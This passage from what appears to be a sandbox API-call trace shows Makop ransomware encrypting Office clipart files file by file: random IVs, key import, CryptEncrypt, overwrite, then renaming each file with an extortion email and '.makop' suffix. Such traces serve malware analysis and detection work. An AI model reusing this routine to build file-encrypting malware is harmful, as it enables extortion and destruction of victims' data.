files\\microsoft office\\clipart\\pub60cor\\tr00482_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00482_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00482_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0154.088] CloseHandle (hObject=0xf0) returned 1 [0154.088] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd55d3200, ftCreationTime.dwHighDateTime=0x1bd4bf4, ftLastAccessTime.dwLowDateTime=0x5aeb55b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd55d3200, ftLastWriteTime.dwHighDateTime=0x1bd4bf4, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x0, cFileName="TR00494_.WMF", cAlternateFileName="")) returned 1 [0154.088] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00494_.WMF") returned 63 [0154.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00494_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00494_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0154.089] GetProcessHeap () returned 0x48a0000 [0154.089] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0154.089] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0154.090] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0154.090] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0154.090] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0154.090] GetProcessHeap () returned 0x48a0000 [0154.090] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0154.090] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0154.090] CryptDestroyKey (hKey=0x48c7128) returned 1 [0154.090] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0154.098] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0154.099] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0154.099] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0154.099] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0154.099] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0154.099] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0154.099] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0154.099] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.100] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1800, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1800, lpOverlapped=0x0) returned 1 [0154.101] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1800, dwBufLen=0x1800 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1800) returned 1 [0154.101] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.101] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1800, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1800, lpOverlapped=0x0) returned 1 [0154.102] CryptDestroyKey (hKey=0x48c7128) returned 1 [0154.102] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x18d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.102] SetEndOfFile (hFile=0xf0) returned 1 [0154.109] GetProcessHeap () returned 0x48a0000 [0154.110] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0154.110] GetProcessHeap () returned 0x48a0000 [0154.110] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0154.110] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00494_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0154.110] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00494_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00494_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00494_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00494_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0154.111] CloseHandle (hObject=0xf0) returned 1 [0154.112] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x70639c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x342e, dwReserved0=0x0, dwReserved1=0x0, cFileName="URBAN_01.MID", cAlternateFileName="")) returned 1 [0154.112] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0154.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\urban_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0154.113] GetProcessHeap () returned 0x48a0000 [0154.113] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0154.113] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0154.113] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0154.113] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0154.118] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0154.118] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0154.118] GetProcessHeap () returned 0x48a0000 [0154.118] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0154.118] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0154.118] CryptDestroyKey (hKey=0x48c7128) returned 1 [0154.118] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0154.118] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0154.118] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0154.119] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0154.119] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0154.119] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0154.119] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0154.119] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0154.119] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.119] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x342e, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x342e, lpOverlapped=0x0) returned 1 [0154.121] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3430, dwBufLen=0x3430 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3430) returned 1 [0154.121] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.121] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3430, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3430, lpOverlapped=0x0) returned 1 [0154.122] CryptDestroyKey (hKey=0x48c7128) returned 1 [0154.122] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3504, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.122] SetEndOfFile (hFile=0xf0) returned 1 [0154.130] GetProcessHeap () returned 0x48a0000 [0154.130] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0154.130] GetProcessHeap () returned 0x48a0000 [0154.130] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0154.130] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0154.130] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\urban_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\urban_01.mid.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0154.132] CloseHandle (hObject=0xf0) returned 1 [0154.132] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1361, dwReserved0=0x0, dwReserved1=0x0, cFileName="VCTRN_01.MID", cAlternateFileName="")) returned 1 [0154.132] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63 [0154.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\vctrn_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0154.135] GetProcessHeap () returned 0x48a0000 [0154.135] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0154.135] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0154.135] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0154.135] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xf, lpOverlapped=0x0) returned 1 [0154.139] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0154.139] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0154.140] GetProcessHeap () returned 0x48a0000 [0154.140] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0154.140] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0154.140] CryptDestroyKey (hKey=0x48c7128) returned 1 [0154.140] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0154.140] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0154.140] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0154.140] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0154.141] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0154.141] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0154.141] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0154.141] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0154.141] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.141] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1361, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1361, lpOverlapped=0x0) returned 1 [0154.143] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1370, dwBufLen=0x1370 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1370) returned 1 [0154.143] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.143] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1370, lpOverlapped=0x0) returned 1 [0154.143] CryptDestroyKey (hKey=0x48c7128) returned 1 [0154.143] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1444, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.143] SetEndOfFile (hFile=0xf0) returned 1 [0154.150] GetProcessHeap () returned 0x48a0000 [0154.150] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0154.150] GetProcessHeap () returned 0x48a0000 [0154.150] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0154.151] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0154.151] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\vctrn_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\vctrn_01.mid.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0154.152] CloseHandle (hObject=0xf0) returned 1 [0154.152] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ce1f900, ftCreationTime.dwHighDateTime=0x1bd4e55, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ce1f900, ftLastWriteTime.dwHighDateTime=0x1bd4e55, nFileSizeHigh=0x0, nFileSizeLow=0x2e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01219_.GIF", cAlternateFileName="")) returned 1 [0154.152] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01219_.GIF") returned 63 [0154.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01219_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01219_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0154.155] GetProcessHeap () returned 0x48a0000 [0154.155] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0154.155] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0154.155] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0154.155] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0154.163] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0154.163] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0154.163] GetProcessHeap () returned 0x48a0000 [0154.163] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0154.163] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0154.163] CryptDestroyKey (hKey=0x48c7128) returned 1 [0154.163] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0154.163] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0154.164] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0154.164] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0154.164] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0154.164] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0154.164] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0154.164] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0154.165] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.165] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2e4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2e4, lpOverlapped=0x0) returned 1 [0154.165] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2f0, dwBufLen=0x2f0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2f0) returned 1 [0154.165] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.165] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2f0, lpOverlapped=0x0) returned 1 [0154.165] CryptDestroyKey (hKey=0x48c7128) returned 1 [0154.165] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.165] SetEndOfFile (hFile=0xf0) returned 1 [0154.173] GetProcessHeap () returned 0x48a0000 [0154.173] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0154.173] GetProcessHeap () returned 0x48a0000 [0154.173] HeapFree 